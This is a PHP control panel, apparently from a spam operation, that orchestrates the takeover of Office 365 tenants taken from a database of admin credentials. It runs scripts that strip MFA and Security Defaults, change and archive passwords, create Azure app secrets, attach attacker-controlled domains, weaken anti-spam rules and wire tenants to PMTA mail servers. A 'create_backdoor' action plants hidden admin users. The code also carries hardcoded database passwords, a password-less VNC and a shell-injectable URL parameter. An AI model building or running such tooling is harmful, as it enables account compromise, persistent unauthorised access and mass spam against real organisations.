'89.167.40.150','vnc_port'=>5900,'novnc_port'=>6080,'scripts_dir'=>'/opt/wevads/scripts/office365','data_dir'=>'/opt/wevads/storage/office365']; $db = ['host'=>'localhost','port'=>'5432','dbname'=>'adx_system','user'=>'admin','password'=>'admin123']; @mkdir($config['scripts_dir'],0755,true);@mkdir($config['data_dir'],0755,true); function getDB(){global $db;try{return new PDO("pgsql:host={$db['host']};port={$db['port']};dbname={$db['dbname']}",$db['user'],$db['password']);}catch(Exception $e){return null;}} function getAccounts(){$p=getDB();if(!$p)return[];try{return $p->query("SELECT * FROM admin.office_accounts ORDER BY name")->fetchAll(PDO::FETCH_ASSOC);}catch(Exception $e){return[];}} function getAccount($id){$p=getDB();if(!$p)return null;$s=$p->prepare("SELECT * FROM admin.office_accounts WHERE id=?");$s->execute([$id]);return $s->fetch(PDO::FETCH_ASSOC);} if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_POST['action'])){ header('Content-Type: application/json'); switch($_POST['action']){ case'check_services': $sv=['xvfb'=>['running'=>trim(shell_exec('pgrep -x Xvfb'))!=''],'vnc'=>['running'=>trim(shell_exec('pgrep -x x11vnc'))!=''],'novnc'=>['running'=>trim(shell_exec('pgrep -f websockify'))!=''],'chrome'=>['running'=>trim(shell_exec('pgrep -f chrome'))!=''],'pwsh'=>['running'=>trim(shell_exec('which pwsh'))!='']]; echo json_encode(['success'=>true,'services'=>$sv]);exit; case'restart_services': $output=[]; if(!trim(shell_exec('pgrep -x Xvfb'))){shell_exec('Xvfb :99 -screen 0 1920x1080x24 > /dev/null 2>&1 &');$output[]='XVFB démarré';}else{$output[]='XVFB OK';} sleep(1); if(!trim(shell_exec('pgrep -x x11vnc'))){shell_exec('x11vnc -display :99 -forever -shared -nopw -bg -o /tmp/x11vnc.log 2>/dev/null');$output[]='VNC démarré';}else{$output[]='VNC OK';} sleep(1); if(!trim(shell_exec('pgrep -f websockify'))){shell_exec('cd /opt/novnc && ./utils/novnc_proxy --vnc localhost:5900 --listen 6080 > /dev/null 2>&1 &');$output[]='noVNC démarré';}else{$output[]='noVNC OK';} echo json_encode(['success'=>true,'message'=>implode(' | ',$output)]);exit; case'start_vnc': shell_exec('pgrep -x Xvfb || Xvfb :99 -screen 0 1920x1080x24 > /dev/null 2>&1 &');sleep(1); shell_exec('pgrep -x x11vnc || x11vnc -display :99 -forever -shared -nopw -bg 2>/dev/null');sleep(1); shell_exec('pgrep -f websockify || (cd /opt/novnc && ./utils/novnc_proxy --vnc localhost:5900 --listen 6080 > /dev/null 2>&1 &)'); echo json_encode(['success'=>true]);exit; case'kill_all': shell_exec('pkill -f chrome 2>/dev/null');shell_exec('pkill -f websockify 2>/dev/null'); echo json_encode(['success'=>true]);exit; case'start_browser': $url=$_POST['url']??'https://portal.azure.com'; shell_exec("DISPLAY=:99 google-chrome --no-sandbox --disable-gpu '$url' > /dev/null 2>&1 &"); echo json_encode(['success'=>true]);exit; case'prepare_account': $aid=intval($_POST['account_id']??0);$acc=getAccount($aid); if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;} file_put_contents($config['data_dir'].'/khalil.csv',$acc['admin_email'].','.$acc['admin_password']); file_put_contents($config['data_dir'].'/current_account_id.txt',$aid); echo json_encode(['success'=>true,'message'=>'Compte préparé: '.$acc['admin_email']]);exit; case'run_step': $step=intval($_POST['step']??0);$aid=intval($_POST['account_id']??0);$acc=getAccount($aid); // Step 7 spécial: setup domaine complet if($step==7 && $acc){ $email=$acc['admin_email']??$acc['email']; $pass=$acc['admin_password']??$acc['password']; $cmd="python3 /opt/wevads/scripts/office365/setup_domain_full.py ".$aid." '".$email."' '".$pass."' 2>&1"; $out=shell_exec($cmd); echo json_encode(['success'=>true,'output'=>$out]);exit; } if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;} file_put_contents($config['data_dir'].'/khalil.csv',$acc['admin_email'].','.$acc['admin_password']); file_put_contents($config['data_dir'].'/current_account_id.txt',$aid); $scripts=[ 1=>['cmd'=>'bash '.$config['scripts_dir'].'/test_licence_o365.sh'], 2=>['cmd'=>'pwsh '.$config['scripts_dir'].'/check_office_blocked.ps1'], 3=>['cmd'=>'pwsh '.$config['scripts_dir'].'/remove_mfa.ps1'], 4=>['cmd'=>'pwsh '.$config['scripts_dir'].'/change_password.ps1'], 5=>['cmd'=>'pwsh '.$config['scripts_dir'].'/Add_cred.ps1'], 6=>['cmd'=>'pwsh '.$config['scripts_dir'].'/check_domains.ps1'], 7=>['cmd'=>'python3 '.$config['scripts_dir'].'/cloudflare_domains.py'], 8=>['cmd'=>'DISPLAY=:99 python3 '.$config['scripts_dir'].'/freedns_v2.py'], 9=>['cmd'=>'DISPLAY=:99 python3 '.$config['scripts_dir'].'/add_domain_office.py'], 10=>['cmd'=>'pwsh '.$config['scripts_dir'].'/shell_auto.ps1'], 11=>['cmd'=>'pwsh '.$config['scripts_dir'].'/config_anti_spam.ps1'], 12=>['cmd'=>'pwsh '.$config['scripts_dir'].'/add_connector.ps1'], 13=>['cmd'=>'echo "✅ COMPTE PRÊT!"'] ]; if(isset($scripts[$step])){ $out=shell_exec($scripts[$step]['cmd'].' 2>&1'); $p=getDB(); if($p&&$aid){$p->prepare("UPDATE admin.office_accounts SET current_step=?,last_update=NOW() WHERE id=?")->execute([$step,$aid]);} if($step==13&&$aid&&$p){$p->prepare("UPDATE admin.office_accounts SET status='Ready' WHERE id=?")->execute([$aid]);} // Si step 4 (change password), mettre à jour la DB // Si step 5 (Azure App), sauvegarder les credentials if($step==5 && strpos($out,'APP AZURE CREEE')!==false){ preg_match('/App ID: ([a-f0-9-]+)/', $out, $appId); preg_match('/Tenant: ([a-f0-9-]+)/', $out, $tenantId); preg_match('/Secret: ([^\s]+)/', $out, $secret); if(!empty($appId[1])){ $pdo=getDB(); if($db){$pdo->prepare('UPDATE admin.office_accounts SET app_id=?, tenant_id=?, app_secret=? WHERE id=?')->execute([$appId[1],$tenantId[1]??"",$secret[1]??"",$aid]);} } } if($step==4 && strpos($out,'PASSWORD CHANGED')!==false){ preg_match('/New: ([^\s]+)/', $out, $newPwd); preg_match('/Old: ([^\s]+)/', $out, $oldPwd); if(!empty($newPwd[1])){ $pdo=getDB(); if($db){ // Backup ancien mot de passe // Sauvegarder ancien mot de passe dans old_passwords (JSON) $stmt=$pdo->prepare('SELECT admin_password, old_passwords FROM admin.office_accounts WHERE id=?'); $stmt->execute([$aid]); $row=$stmt->fetch(PDO::FETCH_ASSOC); $oldPwds=json_decode($row['old_passwords']??'[]',true)?:[]; array_unshift($oldPwds,['password'=>$row['admin_password'],'date'=>date('Y-m-d H:i:s')]); $oldPwds=array_slice($oldPwds,0,5); // Garder 5 derniers $pdo->prepare('UPDATE admin.office_accounts SET admin_password=?, old_passwords=? WHERE id=?')->execute([$newPwd[1],json_encode($oldPwds),$aid]); } } } echo json_encode(['success'=>true,'step'=>$step,'output'=>$out]); }else{echo json_encode(['success'=>false,'message'=>'Étape invalide']);} exit; case'create_backdoor': $aid=intval($_POST['account_id']??0);$acc=getAccount($aid); if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;} $csvPath='/opt/wevads/storage/office365/'.'khalil.csv'; $output=shell_exec('pwsh /opt/wevads/scripts/office365/create_backdoor.ps1 "'.$csvPath.'" 2>&1'); // Sauvegarder en DB si succès if(strpos($output,'BACKDOOR CRÉÉ')!==false){ preg_match('/Email: ([^\s]+)/', $output, $m1); preg_match('/Pass:\s*([^\s]+)/', $output, $m2); preg_match('/Utilisateur créé: ([^\s]+)/', $output, $m3); if(!empty($m1[1])&&!empty($m2[1])){ $pdo=getDB(); if($db){ $pdo->prepare('INSERT INTO admin.office_backdoors(account_id,account_name,backdoor_email,backdoor_password,azure_user_id) VALUES(?,?,?,?,?)')->execute([$aid,$acc['name'],$m1[1],$m2[1],$m3[1]??'']); $domain=explode('@',$m1[1])[1]??''; $pdo->prepare('INSERT INTO admin.office_accounts(name,admin_email,admin_password,tenant_domain,source,status,created_by) VALUES(?,?,?,?,?,?,?)')->execute(['Backdoor_'.$acc['name'],$m1[1],$m2[1],$domain,'Backdoor','Active','Workflow']); } } } echo json_encode(['success'=>true,'message'=>$output]);exit; case'test_specific_backdoor': $email=$_POST['email']??''; $pass=$_POST['password']??''; if(!$email||!$pass){echo json_encode(['success'=>false,'message'=>'Email/password manquant']);exit;} file_put_contents('/tmp/test_backdoor.csv', $email.','.$pass); $output=shell_exec('pwsh /opt/wevads/scripts/office365/test_backdoor.ps1 "/tmp/test_backdoor.csv" 2>&1'); echo json_encode(['success'=>true,'message'=>$output]);exit; case'list_cf_zones': $zones = json_decode(shell_exec('python3 /opt/wevads/scripts/office365/list_cf_zones.py 2>&1'), true); echo json_encode(['success'=>true,'zones'=>$zones]);exit; case'save_cf_zone': $zoneId = $_POST['zone_id'] ?? ''; $zoneName = $_POST['zone_name'] ?? ''; if($zoneId && $zoneName) { $configFile = '/opt/wevads/storage/office365/cloudflare_config.json'; $config = json_decode(file_get_contents($configFile), true) ?: []; $config['zone_id'] = $zoneId; $config['base_domain'] = $zoneName; file_put_contents($configFile, json_encode($config, JSON_PRETTY_PRINT)); } echo json_encode(['success'=>true]);exit; case'save_cf_account': $cfId=intval($_POST['cf_id']??0); if($cfId){ $pdo=getDB(); $stmt=$pdo->prepare('SELECT * FROM admin.cloudflare_accounts WHERE id=?'); $stmt->execute([$cfId]); $cf=$stmt->fetch(PDO::FETCH_ASSOC); if($cf){ file_put_contents('/opt/wevads/storage/office365/cloudflare_config.json',json_encode([ 'api_email'=>$cf['api_email'], 'api_key'=>$cf['api_key'], 'account_name'=>$cf['name'] ],JSON_PRETTY_PRINT)); } } echo json_encode(['success'=>true]);exit; case'delete_backdoor': $id=intval($_POST['id']??0); $pdo=getDB(); if($db&&$id){$pdo->prepare('DELETE FROM admin.office_backdoors WHERE id=?')->execute([$id]);} echo json_encode(['success'=>true]);exit; case'test_backdoor': $aid=intval($_POST['account_id']??0);$acc=getAccount($aid); if(!$acc){echo json_encode(['success'=>false,'message'=>'Compte non trouvé']);exit;} $csvPath='/opt/wevads/storage/office365/'.'khalil.csv'; $output=shell_exec('pwsh /opt/wevads/scripts/office365/test_backdoor.ps1 "'.$csvPath.'" 2>&1'); echo json_encode(['success'=>true,'message'=>$output]);exit;} } $accounts=getAccounts(); $selectedId=intval($_GET['account_id']??0); $selectedAccount=$selectedId?getAccount($selectedId):null; // Charger les comptes Cloudflare $cfAccounts = []; if($pdo = getDB()) { $stmt = $pdo->query("SELECT * FROM admin.cloudflare_accounts WHERE status='Activated' ORDER BY email"); $cfAccounts = $stmt->fetchAll(PDO::FETCH_ASSOC); } if($selectedAccount){ file_put_contents("/opt/wevads/storage/office365/khalil.csv", $selectedAccount["admin_email"].",".$selectedAccount["admin_password"]); } $steps=[ 1=>['name'=>'Test Licence SMTP','icon'=>'fa-envelope','color'=>'#059669','desc'=>'Teste SMTP Office365:587','type'=>'bash'], 2=>['name'=>'Check Blocked/MFA','icon'=>'fa-shield-alt','color'=>'#2563eb','desc'=>'Détecte blocage ou MFA','type'=>'pwsh'], 3=>['name'=>'Remove MFA','icon'=>'fa-unlock','color'=>'#ef4444','desc'=>'Désactive MFA/Security Defaults','type'=>'pwsh'], 4=>['name'=>'Change Password','icon'=>'fa-key','color'=>'#dc2626','desc'=>'Rotation password + backup','type'=>'pwsh'], 5=>['name'=>'Azure App + Credentials','icon'=>'fa-fingerprint','color'=>'#d97706','desc'=>'App + Secret + Permissions','type'=>'pwsh'], 6=>['name'=>'Check Domains','icon'=>'fa-list','color'=>'#6366f1','desc'=>'Liste domaines existants','type'=>'pwsh'], 7=>['name'=>'Cloudflare Domains','icon'=>'fa-cloud','color'=>'#f97316','desc'=>'Crée 5 sous-domaines CF','type'=>'python'], 8=>['name'=>'FreeDNS Domains','icon'=>'fa-globe','color'=>'#7c3aed','desc'=>'Crée 5 sous-domaines','type'=>'python'], 9=>['name'=>'Add Domain to Office','icon'=>'fa-plus-circle','color'=>'#0891b2','desc'=>'Vérifie domaines dans O365','type'=>'python'], 10=>['name'=>'Config Exchange','icon'=>'fa-server','color'=>'#475569','desc'=>'Liste domaines + règles','type'=>'pwsh'], 11=>['name'=>'Anti-Spam','icon'=>'fa-filter','color'=>'#db2777','desc'=>'15 règles anti-spam','type'=>'pwsh'], 12=>['name'=>'Add Connector','icon'=>'fa-plug','color'=>'#0d9488','desc'=>'Connecte aux serveurs PMTA','type'=>'pwsh'], 13=>['name'=>'Finalisation','icon'=>'fa-flag-checkered','color'=>'#059669','desc'=>'Compte Ready','type'=>''] ]; ?>
=$step['desc']?>
Sélectionnez un compte pour commencer